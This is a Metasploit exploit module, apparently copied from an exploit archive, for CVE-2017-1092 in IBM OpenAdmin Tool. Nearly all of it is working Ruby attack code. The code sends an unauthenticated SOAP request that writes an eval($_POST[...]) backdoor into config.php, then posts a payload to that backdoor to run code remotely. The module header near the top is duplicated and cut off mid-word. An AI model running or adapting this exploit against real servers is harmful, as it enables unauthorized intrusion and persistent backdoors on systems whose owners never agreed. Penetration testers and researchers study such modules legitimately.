IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Expl ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include REXML

def initialize(info = {})
super(update_info(info,
'Name' => 'IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution',
'Description' => %q{
This module exploits an unauthenticated remote PHP code execution
vulnerability in IBM OpenAdmin Tool included with IBM Informix
versions 11.5, 11.7, and 12.1.

The 'welcomeServer' SOAP service does not properly validate user input
in the 'new_home_page' parameter of the 'saveHomePage' method allowing
arbitrary PHP code to be written to the config.php file. The config.php
file is executed in most pages within the application, and accessible
directly via the web root, resulting in code execution.

This module has been tested successfully on IBM OpenAdmin Tool 3.14
on Informix 12.10 Developer Edition (SUSE Linux 11) virtual appliance.
},
'License' => MSF_LICENSE,
'Author' =>
[
'SecuriTeam', # Discovery and exploit
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
],
'References' =>
[
['CVE', '2017-1092'],
['EDB', '42091'],
['URL', 'https://www-01.ibm.com/support/docview.wss?uid=swg22002897'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3210'],
['URL', 'http://seclists.org/fulldisclosure/2017/May/105']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false, # Privileged on Windows but not on *nix targets
'Targets' => [['Generic (PHP Payload)', {}]],
'DisclosureDate' => 'May 30 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to IBM OpenAdmin Tool', '/openadmin' ])
]
)
end

def set_home_page(homepage)
xml = Document.new
xml.add_element 'soapenv:Envelope', 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema',
'xmlns:soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:urn' => 'urn:Welcome'
xml.root.add_element 'soapenv:Header'
xml.root.add_element 'soapenv:Body'
body = xml.root.elements[2]
body.add_element 'urn:saveHomePage', 'soapenv:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
new_home_page = body.elements[1].add_element 'new_home_page', 'xsi:type' => 'xsd:string'
new_home_page.text = homepage

uri = normalize_uri target_uri.path, 'services', 'welcome', 'welcomeService.php'
send_request_cgi 'method' => 'POST',
'uri' => uri,
'ctype' => 'text/xml; charset=UTF-8',
'headers' => { 'SOAPAction' => 'urn:QBEAction' },
'data' => xml.to_s
end

def check
fingerprint = Rex::Text.rand_text_alpha(rand(10) + 6)
res = set_home_page "";##{fingerprint}"

unless res
vprint_status "#{peer} Connection failed"
return CheckCode::Unknown
end

if res.code == 200 && res.body =~ %r{<ns1:saveHomePageResponse><return xsi:type="xsd:string">";##{fingerprint}</return>}
return CheckCode::Detected
end

Msf::Exploit::CheckCode::Safe
end

def exploit
cmd_param = Rex::Text.rand_text_alpha(rand(10) + 6)

res = set_home_page "";eval($_POST['#{cmd_param}']); #"

unless res
vprint_status "#{peer} Connection failed"
return CheckCode::Unknown
end

if res.code == 200 && res.body =~ /<ns1:saveHomePageResponse><return xsi:type="xsd:string">";eval/
print_good "#{peer} Wrote backdoor to config.php file successfully"
else
fail_with Failure::UnexpectedReply, "#{peer} Failed to backdoor config.php"
end

vprint_status "#{peer} Executing payload..."
send_request_cgi({ 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'conf', 'config.php'),
'vars_post' => { cmd_param => payload.encoded } }, 5)

print_warning "#{peer} Replace the 'config.php' file with 'BAKconfig.php' to remove the backdoor"
end
end